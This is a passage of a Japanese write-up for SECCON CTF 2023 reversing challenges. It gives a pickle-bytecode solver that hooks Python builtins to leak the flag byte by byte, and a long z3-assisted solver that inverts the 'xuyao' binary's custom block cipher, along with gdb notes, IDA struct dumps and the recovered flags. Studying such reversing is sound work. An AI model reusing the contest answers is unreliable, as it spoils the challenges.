all(map(lambda t: pow(t[0], pow_e, pow_n) == t[1], zip(expected_before_pow, expected))) f = None # f must be under globals() original_pow = __builtins__.pow original_input = __builtins__.input def attack_flag(flag, current_index): assert len(flag) == 64 # print(f"Trying flag {flag}") called_pow_count = 0 result_outer = None def my_pow(a, b, c): nonlocal called_pow_count nonlocal result_outer result_inner = original_pow(a, b, c) if current_index // 8 == called_pow_count: current_byte = current_index % 8 lhv = (a >> (current_byte*8)) & 0xFF rhv = (expected_before_pow[called_pow_count] >> (current_byte*8)) & 0xFF result_outer = (lhv == rhv) # print(f"mypow {a=:08x}, {expected_before_pow[called_pow_count]=:08x}") called_pow_count += 1 return result_inner __builtins__.input = lambda prompt: flag __builtins__.pow = my_pow global f f = io.BytesIO(payload) pickle.load(f) assert result_outer is not None __builtins__.pow = original_pow __builtins__.input = original_input return result_outer flag = bytearray(b"A"*64) for i in range(0, 64): for o in range(0x20, 0x7F): tmp = bytearray(flag) tmp[i] = o if attack_flag(tmp.decode(), i): flag = tmp print(flag) break else: raise Exception(f"Cannot found flag at index {i}")
実行結果です:
$ time ./solve.py bytearray(b'SAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA') bytearray(b'SEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA') bytearray(b'SECAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA') bytearray(b'SECCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA') bytearray(b'SECCOAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA') bytearray(b'SECCONAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA') bytearray(b'SECCON{AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA') bytearray(b'SECCON{CAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA') bytearray(b'SECCON{CaAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA') bytearray(b'SECCON{CanAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA') bytearray(b'SECCON{Can_AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA') bytearray(b'SECCON{Can_sAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA') bytearray(b'SECCON{Can_soAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA') bytearray(b'SECCON{Can_somAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA') bytearray(b'SECCON{Can_someAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA') bytearray(b'SECCON{Can_someoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA') bytearray(b'SECCON{Can_someonAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA') bytearray(b'SECCON{Can_someoneAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA') bytearray(b'SECCON{Can_someone_AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA') bytearray(b'SECCON{Can_someone_pAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA') bytearray(b'SECCON{Can_someone_plAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA') bytearray(b'SECCON{Can_someone_pleAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA') bytearray(b'SECCON{Can_someone_pleaAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA') bytearray(b'SECCON{Can_someone_pleasAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA') bytearray(b'SECCON{Can_someone_pleaseAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA') bytearray(b'SECCON{Can_someone_please_AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA') bytearray(b'SECCON{Can_someone_please_mAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA') bytearray(b'SECCON{Can_someone_please_maAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA') bytearray(b'SECCON{Can_someone_please_makAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA') bytearray(b'SECCON{Can_someone_please_makeAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA') bytearray(b'SECCON{Can_someone_please_make_AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA') bytearray(b'SECCON{Can_someone_please_make_aAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA') bytearray(b'SECCON{Can_someone_please_make_a_AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA') bytearray(b'SECCON{Can_someone_please_make_a_dAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA') bytearray(b'SECCON{Can_someone_please_make_a_deAAAAAAAAAAAAAAAAAAAAAAAAAAAAA') bytearray(b'SECCON{Can_someone_please_make_a_debAAAAAAAAAAAAAAAAAAAAAAAAAAAA') bytearray(b'SECCON{Can_someone_please_make_a_debuAAAAAAAAAAAAAAAAAAAAAAAAAAA') bytearray(b'SECCON{Can_someone_please_make_a_debugAAAAAAAAAAAAAAAAAAAAAAAAAA') bytearray(b'SECCON{Can_someone_please_make_a_debuggAAAAAAAAAAAAAAAAAAAAAAAAA') bytearray(b'SECCON{Can_someone_please_make_a_debuggeAAAAAAAAAAAAAAAAAAAAAAAA') bytearray(b'SECCON{Can_someone_please_make_a_debuggerAAAAAAAAAAAAAAAAAAAAAAA') bytearray(b'SECCON{Can_someone_please_make_a_debugger_AAAAAAAAAAAAAAAAAAAAAA') bytearray(b'SECCON{Can_someone_please_make_a_debugger_fAAAAAAAAAAAAAAAAAAAAA') bytearray(b'SECCON{Can_someone_please_make_a_debugger_foAAAAAAAAAAAAAAAAAAAA') bytearray(b'SECCON{Can_someone_please_make_a_debugger_forAAAAAAAAAAAAAAAAAAA') bytearray(b'SECCON{Can_someone_please_make_a_debugger_for_AAAAAAAAAAAAAAAAAA') bytearray(b'SECCON{Can_someone_please_make_a_debugger_for_PAAAAAAAAAAAAAAAAA') bytearray(b'SECCON{Can_someone_please_make_a_debugger_for_PiAAAAAAAAAAAAAAAA') bytearray(b'SECCON{Can_someone_please_make_a_debugger_for_PicAAAAAAAAAAAAAAA') bytearray(b'SECCON{Can_someone_please_make_a_debugger_for_PickAAAAAAAAAAAAAA') bytearray(b'SECCON{Can_someone_please_make_a_debugger_for_PicklAAAAAAAAAAAAA') bytearray(b'SECCON{Can_someone_please_make_a_debugger_for_PickleAAAAAAAAAAAA') bytearray(b'SECCON{Can_someone_please_make_a_debugger_for_Pickle_AAAAAAAAAAA') bytearray(b'SECCON{Can_someone_please_make_a_debugger_for_Pickle_bAAAAAAAAAA') bytearray(b'SECCON{Can_someone_please_make_a_debugger_for_Pickle_byAAAAAAAAA') bytearray(b'SECCON{Can_someone_please_make_a_debugger_for_Pickle_bytAAAAAAAA') bytearray(b'SECCON{Can_someone_please_make_a_debugger_for_Pickle_byteAAAAAAA') bytearray(b'SECCON{Can_someone_please_make_a_debugger_for_Pickle_bytecAAAAAA') bytearray(b'SECCON{Can_someone_please_make_a_debugger_for_Pickle_bytecoAAAAA') bytearray(b'SECCON{Can_someone_please_make_a_debugger_for_Pickle_bytecodAAAA') bytearray(b'SECCON{Can_someone_please_make_a_debugger_for_Pickle_bytecodeAAA') bytearray(b'SECCON{Can_someone_please_make_a_debugger_for_Pickle_bytecode?AA') bytearray(b'SECCON{Can_someone_please_make_a_debugger_for_Pickle_bytecode??A') bytearray(b'SECCON{Can_someone_please_make_a_debugger_for_Pickle_bytecode??}') ./solve.py 1.16s user 0.00s system 98% cpu 1.171 total $ python3 problem.py FLAG> SECCON{Can_someone_please_make_a_debugger_for_Pickle_bytecode??} Congratulations!! $
フラグを入手できました: SECCON{Can_someone_please_make_a_debugger_for_Pickle_bytecode??}
[reversing] xuyao (28 team solved, 176 points)
X86-64 Unbreakable Yet Another Obfuscation
配布ファイルとして、問題本体のxuyao
がありました:
$ file * xuyao: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=5b9db3314147d71c79ff222376e4f664faeeb0ba, for GNU/Linux 3.2.0, not stripped $ pwn checksec xuyao [!] Could not populate PLT: module 'unicorn' has no attribute 'UC_ARCH_RISCV' [*] '/mnt/d/Documents/work/ctf/SECCON_2023/xuyao/xuyao' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled $
問題文通り、以下のような難読化が施されていました:
mmap
関数を使ったメモリ確保で確保サイズをすべて0x1000
バイトに指定しているため、構造体サイズや種類が分かりません。- 構造体を間接参照するための独自構造体を多用しており、どの構造体のどのメンバーがどこで使われているのかを追跡することが困難です。
- シンボル名が残っているとはいえ、一部の関数名がよく分かりません。とはいえ
encrypt
関数やencrypt_block
関数は体を表す良い名前でした。 - 明らかにユーザー定義と思われる関数の1つに、何故かシンボル名がありませんでした(
ks
関数の次、r
関数の前の関数です、IDAの表示名はsub_15B9
でした)。- 原因が分かりました。シンボル名はELFに含まれていましたが、IDAが認識しないパターンでした。詳細はIDAは一部レジスタと同一名のシンボルを無視するので注意記事をご参照ください。
- しばしば、
struct {int; int;}
相当な8バイト構造体が値渡しで関数引数として渡されていました。IDAで関数引数の型を付ける際、「個別引数にカーソルを合わせてY
」だとエラーになりましたが、「関数名等の関数全体の方設定できる箇所にカーソル合わせてY
」だとうまく型を設定できました。
この問題は「頑張って読解する」ことが中心です。概要を以下に示します:
- 最大100文字まで入力を受け付けます。
- 入力をPKCS#7でパディングし、16バイト境界へ合わせます。
"SECCON CTF 2023!"
や、グローバル変数fish
、cat
を使用して、4*32
バイトへの鍵展開を行います。入力が固定であるため鍵展開結果も常に同一になります。- 入力16バイトを1ブロックとして、鍵展開結果を使用して
encrypt_block
で暗号化します。 - 暗号化結果が、グローバル変数
enc
と同一であるかを判定します。
読解結果のソルバーと実行結果を先に示します。IDAでの読解メモはひたすら長いので最後に掲載します。
ソルバーと実行結果
ソルバーです。読解結果を検証するために、各関数の入出力をgdb実行経由で取得し、関数の実装を確認する処理も多く含んでいます:
#!/usr/bin/env python3 import z3 def rol(v, bit_count): assert 0 <= bit_count <= 31 return ((v << bit_count) | (v >> (32 - bit_count))) & 0xFFFFFFFF # https://stackoverflow.com/questions/13955385/z3py-do-a-roll def rol_for_z3(v, bit_count): assert 0 <= bit_count <= 31 return ((v << bit_count) | z3.LShR(v, 32 - bit_count)) & 0xFFFFFFFF def byteswap_ulong(v): assert 0 <= v <= 0xFFFFFFFF return ((((v >> 0) & 0xFF) << 24) | (((v >> 8) & 0xFF) << 16) | (((v >> 16) & 0xFF) << 8) | (((v >> 24) & 0xFF) << 0)) def byteswap_ulong_z3(v): return (((z3.LShR(v, 0) & 0xFF) << 24) | ((z3.LShR(v, 8) & 0xFF) << 16) | ((z3.LShR(v, 16) & 0xFF) << 8) | ((z3.LShR(v, 24) & 0xFF) << 0)) def print_block(block): print(list(map(lambda x:f"{x:08x}", block))) # 「IDA View-A」で「.rodata:0000000000003100」以降からをしばらく範囲選択して、Shift+Eでデータをエクスポートしました # この内容は https://en.wikipedia.org/wiki/Rijndael_S-box のものと同一でした sbox = bytes.fromhex("63 7C 77 7B F2 6B 6F C5 30 01 67 2B FE D7 AB 76 CA 82 C9 7D FA 59 47 F0 AD D4 A2 AF 9C A4 72 C0 B7 FD 93 26 36 3F F7 CC 34 A5 E5 F1 71 D8 31 15 04 C7 23 C3 18 96 05 9A 07 12 80 E2 EB 27 B2 75 09 83 2C 1A 1B 6E 5A A0 52 3B D6 B3 29 E3 2F 84 53 D1 00 ED 20 FC B1 5B 6A CB BE 39 4A 4C 58 CF D0 EF AA FB 43 4D 33 85 45 F9 02 7F 50 3C 9F A8 51 A3 40 8F 92 9D 38 F5 BC B6 DA 21 10 FF F3 D2 CD 0C 13 EC 5F 97 44 17 C4 A7 7E 3D 64 5D 19 73 60 81 4F DC 22 2A 90 88 46 EE B8 14 DE 5E 0B DB E0 32 3A 0A 49 06 24 5C C2 D3 AC 62 91 95 E4 79 E7 C8 37 6D 8D D5 4E A9 6C 56 F4 EA 65 7A AE 08 BA 78 25 2E 1C A6 B4 C6 E8 DD 74 1F 4B BD 8B 8A 70 3E B5 66 48 03 F6 0E 61 35 57 B9 86 C1 1D 9E E1 F8 98 11 69 D9 8E 94 9B 1E 87 E9 CE 55 28 DF 8C A1 89 0D BF E6 42 68 41 99 2D 0F B0 54 BB 16") assert len(sbox) == 256 # AESのinverse sboxと同じになります inverse_sbox = bytes.fromhex(""" 52 09 6a d5 30 36 a5 38 bf 40 a3 9e 81 f3 d7 fb 7c e3 39 82 9b 2f ff 87 34 8e 43 44 c4 de e9 cb 54 7b 94 32 a6 c2 23 3d ee 4c 95 0b 42 fa c3 4e 08 2e a1 66 28 d9 24 b2 76 5b a2 49 6d 8b d1 25 72 f8 f6 64 86 68 98 16 d4 a4 5c cc 5d 65 b6 92 6c 70 48 50 fd ed b9 da 5e 15 46 57 a7 8d 9d 84 90 d8 ab 00 8c bc d3 0a f7 e4 58 05 b8 b3 45 06 d0 2c 1e 8f ca 3f 0f 02 c1 af bd 03 01 13 8a 6b 3a 91 11 41 4f 67 dc ea 97 f2 cf ce f0 b4 e6 73 96 ac 74 22 e7 ad 35 85 e2 f9 37 e8 1c 75 df 6e 47 f1 1a 71 1d 29 c5 89 6f b7 62 0e aa 18 be 1b fc 56 3e 4b c6 d2 79 20 9a db c0 fe 78 cd 5a f4 1f dd a8 33 88 07 c7 31 b1 12 10 59 27 80 ec 5f 60 51 7f a9 19 b5 4a 0d 2d e5 7a 9f 93 c9 9c ef a0 e0 3b 4d ae 2a f5 b0 c8 eb bb 3c 83 53 99 61 17 2b 04 7e ba 77 d6 26 e1 69 14 63 55 21 0c 7d """) for i in range(256): assert i == inverse_sbox[sbox[i]] # 「b *(encrypt_block+0x172)」して実行後、「x/32wx (*(long long*)$r12) + 0x44」で調べました expanded_key_list = [ 0xf6067814, 0xed73cb7e, 0x1583a8b2, 0x0dde8d93, 0x23e2374b, 0x40b83c72, 0x0b3f811a, 0xd6e7a993, 0x2622de7c, 0xc581dcae, 0xa906524c, 0xdb4f2cc1, 0x0ddb3477, 0x8c1a92a4, 0x3bd711c0, 0x1bb16503, 0x00acd720, 0x2735f2d0, 0x9a9300fe, 0xfb2556a7, 0xcbe1fe58, 0xc03db8c9, 0xf77cb701, 0x0a1f85ae, 0x14dd27dc, 0xe1a5e3a9, 0x41d1f9ee, 0xfe6afce7, 0xd80eac32, 0xf43efead, 0x6475d80f, 0x38a310d6, ] assert len(expanded_key_list) == 32 assert all(map(lambda x: 0<=x<=0xFFFFFFFF, expanded_key_list)) def tnls_core(v, local_sbox): assert 0 <= v <= 0xFFFFFFFF result = 0 for i in range(4): shift_count = i*8 result |= local_sbox[(v >> shift_count) & 0xFF] << shift_count return result def tnls(v): return tnls_core(v, sbox) def inverse_tnls(result): return tnls_core(result, inverse_sbox) def els_core(v, fn): return (v ^ fn(v,3) ^ fn(v, 9) ^ fn(v,14) ^ fn(v,15)) def els(v): return els_core(v, rol) # about 55 iteration per seconds def inverse_els(result): s = z3.Solver() v = z3.BitVec("v", 32) s.add(els_core(v, rol_for_z3) == result) if s.check() == z3.sat: return s.model()[v].as_long() raise Exception("Can not satisfied") def sub_15B9(v): return els(tnls(v)) def inverse_sub_15B9(result): return inverse_tnls(inverse_els(result)) def r(block, dwRoundKey)->int: assert len(block) == 4 assert all(map(lambda x: 0 <= x <= 0xFFFFFFFF, block)) x = block[1] ^ block[2] ^ block[3] ^ dwRoundKey v = sub_15B9(x) return v ^ block[0] def inverse_r(block, dwRoundKey)->int: assert len(block) == 4 assert all(map(lambda x: 0 <= x <= 0xFFFFFFFF, block)) x = block[0] ^ block[1] ^ block[2] ^ dwRoundKey v = sub_15B9(x) return v ^ block[3] def encrypt_block(block): assert len(block) == 4 assert all(map(lambda x: 0 <= x <= 0xFFFFFFFF, block)) byteswappted_block = [byteswap_ulong(v) for v in block] for i in range(32): # print(f"before r at {i=:02d} ", end="") # print_block(byteswappted_block) result_r = r(byteswappted_block, expanded_key_list[i]) del byteswappted_block[0] byteswappted_block.append(result_r) result = [byteswap_ulong(v) for v in byteswappted_block[::-1]] assert len(result) == 4 assert all(map(lambda x: 0 <= x <= 0xFFFFFFFF, result)) return result def inverse_encrypt_block(block): assert len(block) == 4 assert all(map(lambda x: 0 <= x <= 0xFFFFFFFF, block)) tmp_block = [byteswap_ulong(v) for v in block[::-1]] for i in range(31, -1, -1): result_inv_r = inverse_r(tmp_block, expanded_key_list[i]) del tmp_block[3] tmp_block.insert(0, result_inv_r) result = [byteswap_ulong(v) for v in tmp_block] return result # b tnls # command # silent # echo "\nfrom: " # x/x ($rdi + $esi) # c # end # b *(tnls+0xE2) # command # silent # echo "\nto: " # x/x $rdx # c # end tnls_test_list = [ (0xb809adde, 0x6c01951d), (0x7b1c9287, 0x219c4f17), (0x268ba22e, 0xf73d3a31), (0xa51118e3, 0x0682ad11), (0xc4110b83, 0x1c822bec), (0xafb0e8ba, 0x79e79bf4), (0x79ea5812, 0xb6876ac9), (0x1404382d, 0xfaf207d8), (0x03cd51d4, 0x7bbdd148), (0x7b1837ae, 0x21ad9ae4), (0x8f14a63a, 0x73fa2480), (0xe8651401, 0x9b4dfa7c), (0x0bc6d56c, 0x2bb40350), (0x41ab7d99, 0x8362ffee), (0x195ae12d, 0xd4bef8d8), (0x90c84317, 0x60e81af0), (0x66f4ade0, 0x33bf95e1), (0x1c5f9fa6, 0x9ccfdb24), (0x40f39e90, 0x090d0b60), (0xd3937c4b, 0x66dc10b3), (0xf04c92dc, 0x8c294f86), (0x2737916b, 0xcc9a817f), (0x6ab07b0e, 0x02e721ab), (0x6127298b, 0xefcca53d), (0x0ba051af, 0x2be0d179), (0x90363c20, 0x6005ebb7), (0xef065fce, 0xdf6fcf8b), (0xb49996a5, 0x8dee9006), (0x4c4ed227, 0x292fb5cc), (0x7fcb88c4, 0xd21fc41c), (0xbfdfbc06, 0x089e656f), (0x97074dfc, 0x88c5e3b0), ] # gdb-peda$ b *(els+0xBC) # Breakpoint 1 at 0x14ce # gdb-peda$ command # Type commands for breakpoint(s) 1, one per line. # End with a line saying just "end". # >silent # >echo "\nfrom: " # >x/x $rbp # >c # >end # gdb-peda$ b *(els+0xEE) # Breakpoint 2 at 0x1500 # gdb-peda$ command # Type commands for breakpoint(s) 2, one per line. # End with a line saying just "end". # >silent # >echo "\nto: " # >x/x $rax # >c # >end # gdb-peda$ run els_test_list = [ # (els_parameter, els_result) (0x6b38c4bd & 0xFFFFFFFF, 0x100674d2 & 0xFFFFFFFF), (0x55cddb66 & 0xFFFFFFFF, 0xfb7f736a & 0xFFFFFFFF), (0xab3add46 & 0xFFFFFFFF, 0x5ea44576 & 0xFFFFFFFF), (0x0ef3181c & 0xFFFFFFFF, 0xd552e424 & 0xFFFFFFFF), (0x61189599 & 0xFFFFFFFF, 0x375de35a & 0xFFFFFFFF), (0x8488bf8f & 0xFFFFFFFF, 0xc1967f9c & 0xFFFFFFFF), (0x42772ada & 0xFFFFFFFF, 0xe040792a & 0xFFFFFFFF), (0x1c9607c0 & 0xFFFFFFFF, 0x5639b097 & 0xFFFFFFFF), (0xe5980ff2 & 0xFFFFFFFF, 0xfd425e04 & 0xFFFFFFFF), (0x242ae7de & 0xFFFFFFFF, 0x9aaafe78 & 0xFFFFFFFF), (0x7421632e & 0xFFFFFFFF, 0x7eb081ad & 0xFFFFFFFF), (0x42220da6 & 0xFFFFFFFF, 0x92939d89 & 0xFFFFFFFF), (0x598c5b00 & 0xFFFFFFFF, 0xb618b914 & 0xFFFFFFFF), (0x9fd2b1b7 & 0xFFFFFFFF, 0x30927b29 & 0xFFFFFFFF), (0x72de47d5 & 0xFFFFFFFF, 0xeabc3643 & 0xFFFFFFFF), (0x880369ce & 0xFFFFFFFF, 0xa05f5cab & 0xFFFFFFFF), (0x1ce4f794 & 0xFFFFFFFF, 0x74036a46 & 0xFFFFFFFF), (0xa1b9a0e7 & 0xFFFFFFFF, 0x677f502b & 0xFFFFFFFF), (0xe3f11a0e & 0xFFFFFFFF, 0xd5c91eba & 0xFFFFFFFF), (0xb8d81e1a & 0xFFFFFFFF, 0xc6af29e4 & 0xFFFFFFFF), (0x5b082b3d & 0xFFFFFFFF, 0x8c4ef327 & 0xFFFFFFFF), (0x7b9c1805 & 0xFFFFFFFF, 0x954f31f0 & 0xFFFFFFFF), (0xfb082155 & 0xFFFFFFFF, 0x2bf4034a & 0xFFFFFFFF), (0xf569a1be & 0xFFFFFFFF, 0x35d7164d & 0xFFFFFFFF), (0x54b3929c & 0xFFFFFFFF, 0xbbe301a2 & 0xFFFFFFFF), (0xcaa39f10 & 0xFFFFFFFF, 0xf0cd11fa & 0xFFFFFFFF), (0x1ec3f2c8 & 0xFFFFFFFF, 0x6aeffc64 & 0xFFFFFFFF), (0xb84290c4 & 0xFFFFFFFF, 0x1324eda0 & 0xFFFFFFFF), (0xeff6f9f7 & 0xFFFFFFFF, 0xbf34d591 & 0xFFFFFFFF), (0x0de53de8 & 0xFFFFFFFF, 0x79390738 & 0xFFFFFFFF), (0x2d660ea7 & 0xFFFFFFFF, 0x0eb1682e & 0xFFFFFFFF), (0xa9a012fc & 0xFFFFFFFF, 0xa94402f2 & 0xFFFFFFFF), ] sub_15B9_test_list = [ (0xfd4b741c, 0xbbe301a2), (0x10716e7c, 0xf0cd11fa), (0xe93304b1, 0x6aeffc64), (0x9af69688, 0x1324eda0), (0x61d66926, 0xbf34d591), (0xf32a8bc8, 0x79390738), (0xfad3d789, 0x0eb1682e), (0xf909771b, 0xd5592d21), (0x3225e950, 0x0c4613dc), (0xc6939940, 0xe7613a74), (0x39af8615, 0x80011917), (0x47cb08fb, 0xca82973a), (0x320caa05, 0x3c7c4075), (0xaed07eb0, 0x631aa834), (0x7772dd6e, 0x8e6df57a), (0x9300fcf7, 0xcc30bbbf), (0x9672ac28, 0xffb11d80), (0xb105fea3, 0x6f07a0e3), (0x265c5ee0, 0x63e1da77), (0x4bae71e8, 0x9cadbd2a), (0x4fa2259c, 0x418c9f31), (0x9d144543, 0xf17e92b6), (0xcafda78f, 0x476b3e3f), ] # gdb-peda$ b r # Breakpoint 1 at 0x1657 # gdb-peda$ command # Type commands for breakpoint(s) 1, one per line. # End with a line saying just "end". # >silent # >echo "\nblock: " # >x/4wx ($rcx + 4) # >c # >end # gdb-peda$ b *(r+0xB5) # Breakpoint 2 at 0x170c # gdb-peda$ command # Type commands for breakpoint(s) 2, one per line. # End with a line saying just "end". # >silent # >echo "\ndwRountKey: " # >x/1wx ($rdi+$r13) # >c # >end # gdb-peda$ b *(r+0x166) # Breakpoint 3 at 0x17bd # gdb-peda$ command # Type commands for breakpoint(s) 3, one per line. # End with a line saying just "end". # >silent # >echo "\nresult: " # >x/1wx ($r14+$r12) # >c # >end # gdb-peda$ run r_test_list = [ ((0x41414141, 0x41414141, 0x41414141, 0x41414141), 0xf6067814, 0xe80543b3), ((0x41414141, 0x41414141, 0x41414141, 0xe80543b3), 0xed73cb7e, 0x51473593), ((0x41414141, 0x41414141, 0xe80543b3, 0x51473593), 0x1583a8b2, 0xba3e322b), ((0x41414141, 0xe80543b3, 0x51473593, 0xba3e322b), 0x0dde8d93, 0x1fe50437), ((0xe80543b3, 0x51473593, 0xba3e322b, 0x1fe50437), 0x23e2374b, 0x3d57a797), ((0x51473593, 0xba3e322b, 0x1fe50437, 0x3d57a797), 0x40b83c72, 0x661ad6c9), ((0xba3e322b, 0x1fe50437, 0x3d57a797, 0x661ad6c9), 0x0b3f811a, 0x7ba84db7), ((0x1fe50437, 0x3d57a797, 0x661ad6c9, 0x7ba84db7), 0xd6e7a993, 0xffa57d1d), ((0x3d57a797, 0x661ad6c9, 0x7ba84db7, 0xffa57d1d), 0x2622de7c, 0x6b6e1700), ] # b encrypt_block # run # input some message # x/4wx (*(long long*)$rdi + 12) # b *(encrypt_block+0x3E5) # continue # x/4wx (*(long long*)$rcx + 28) encrypt_block_test_list = [ ((0x41414141, 0x41414141, 0x41414141, 0x41414141), (0x4943caf1, 0xffbf54aa, 0x8b7cdad1, 0x2b04feb9)), # AAAAAAAAAAAAAAAA ((0x44434241, 0x48474645, 0x4c4b4a49, 0x504f4e4d), (0x3d36d5a8, 0x330737dd, 0x40414b60, 0xae287921)), # ABCDEFGHIJKLMNOP ((0x0f0f0f0a, 0x0f0f0f0f, 0x0f0f0f0f, 0x0f0f0f0f), (0x9e00abd9, 0xbfe61e75, 0x7f2469b2, 0x22aee8ce)), # 改行コード+padding ] def test_tnls(): for (i, o) in tnls_test_list: assert tnls(i) == o def test_inverse_tnls(): for (i, o) in tnls_test_list: assert i == inverse_tnls(o) def test_els(): for (i, o) in els_test_list: assert els(i) == o def test_inverse_els(): for i in range(32): i == (1 << i) els_converted = els(i) roundtripped = inverse_els(els_converted) assert i == roundtripped for (i, o) in els_test_list: assert i == inverse_els(o) def test_sub_15B9_and_inv(): for (i, o) in sub_15B9_test_list: assert sub_15B9(i) == o assert i == inverse_sub_15B9(o) def test_r(): for (block, key, o) in r_test_list: assert r(block, key) == o def test_inverse_r(): for (block, key, o) in r_test_list: next_block = [block[1], block[2], block[3], o] prev_b0 = inverse_r(next_block, key) assert prev_b0 == block[0] def test_encrypt_block(): for (i, o) in encrypt_block_test_list: result = encrypt_block(i) # result == o ではFalseだった for index in range(4): assert result[index] == o[index] def test_inverse_encrypt_block(): for (i, o) in encrypt_block_test_list: result = inverse_encrypt_block(o) #result == i ではFalseだった for index in range(4): assert result[index] == i[index] print("Start tests...") test_tnls() test_inverse_tnls() test_els() test_inverse_els() # z3をつかっているためこれに時間がかかります、でもフラグ復号には結局使っていない…… test_sub_15B9_and_inv() test_r() test_inverse_r() test_encrypt_block() test_inverse_encrypt_block() print("Passed all the tests!") enc = bytes.fromhex("FE 60 A8 C0 3B FE BC 66 FC 9A 9B 31 9A D8 03 BB A9 E1 56 FC FC 11 9F 89 5F 4D 9F E0 9F AE 2A CF 5E 73 CB EC 3F FF B9 D1 99 44 1B 9A 79 79 EC D1 B4 FD EA 2B E2 F1 1A 70 76 3C 2E 7F 3F 3B 7B 66 A3 4B 1B 5C 0F BE DD 98 5A 5B D0 0A 3D 7E 2C 10 56 2A 10 87 5D D9 B9 7F 3E 2E 86 B7 17 04 DF B1 27 C4 47 E2 D9 7A 9A 48 7C DB C6 1D 3C 00 A3 21") decrypted = bytearray() for i in range(len(enc)//16): block = [] for j in range(4): block.append(int.from_bytes(enc[16*i + 4*j:16*i + 4*(j+1)], "little")) decrypted_block = inverse_encrypt_block(block) for row in decrypted_block: decrypted.extend(row.to_bytes(4, "little")) flag = decrypted.rstrip(bytes([decrypted[-1]])).decode() # trim padding print(flag)
実行結果です:
$ ./solve.py Start tests... Passed all the tests! Congratulations! You have decrypted the flag: SECCON{x86_he2_zhuan1_you3_zi4_jie2_ma3_de_hun4he2} $ ./xuyao Message: Congratulations! You have decrypted the flag: SECCON{x86_he2_zhuan1_you3_zi4_jie2_ma3_de_hun4he2} Correct! I think you got the flag now :) $
フラグを入手できました: SECCON{x86_he2_zhuan1_you3_zi4_jie2_ma3_de_hun4he2}
ひたすらIDAで解析した結果
構造体定義
00000000 BlockSize16 struc ; (sizeof=0x10, mappedto_8) 00000000 ; XREF: encrypt_block+70/w 00000000 ; encrypt_block+196/r ... 00000000 pData dq ? ; XREF: encrypt_block+5B/w 00000000 ; encrypt_block+85/w ... ; offset 00000008 dwIndex dd ? ; XREF: encrypt_block+60/w 00000008 ; encrypt_block+75/w ... 0000000C dwElementBytes dd ? ; XREF: encrypt_block+68/w 0000000C ; encrypt_block+7D/w ... 00000010 BlockSize16 ends 00000000 ElementByteCountAndIndexPair struc ; (sizeof=0x8, mappedto_11) 00000000 dwIndex dd ? 00000004 dwElementByteCount dd ? 00000008 ElementByteCountAndIndexPair ends 00000000 StructForMain struc ; (sizeof=0x1000, mappedto_9) 00000000 strInputSize112 db 112 dup(?) ; ユーザー入力の書き込み:「main+113」、パディングの書き込み:「main+1BF」、暗号化前の読み込み:「encrypt+363 00000070 byteArrayToCompareToEnc db 112 dup(?) ; 暗号化結果の書き込み:「encrypt+3ED」、encとの比較:「main+21A」 000000E0 dwStrInputLength dd ? ; XREF: main+D2/w 000000E0 ; main:loc_2134/w ; 初期化:「main+D2」、更新:「main+116」 000000E4 dwStrInputWithPaddingLength dd ? ; XREF: main+1D9/r ; 書き込み:「main+188」、読み込み:「main+1D9」、ループ終端判定に使用:「encrypt+322」 000000E8 dwPaddingCount dd ? ; XREF: main+192/w ; 書き込み:「main+192」あるけど未使用? 000000EC byteValueForPadding db ? ; XREF: main+198/w 000000EC ; main+1B2/r ; 書き込み:「main+198」あるけど未使用? 000000ED notUsed db 3859 dup(?) 00001000 StructForMain ends 00000000 StructForEncrypt struc ; (sizeof=0x1000, 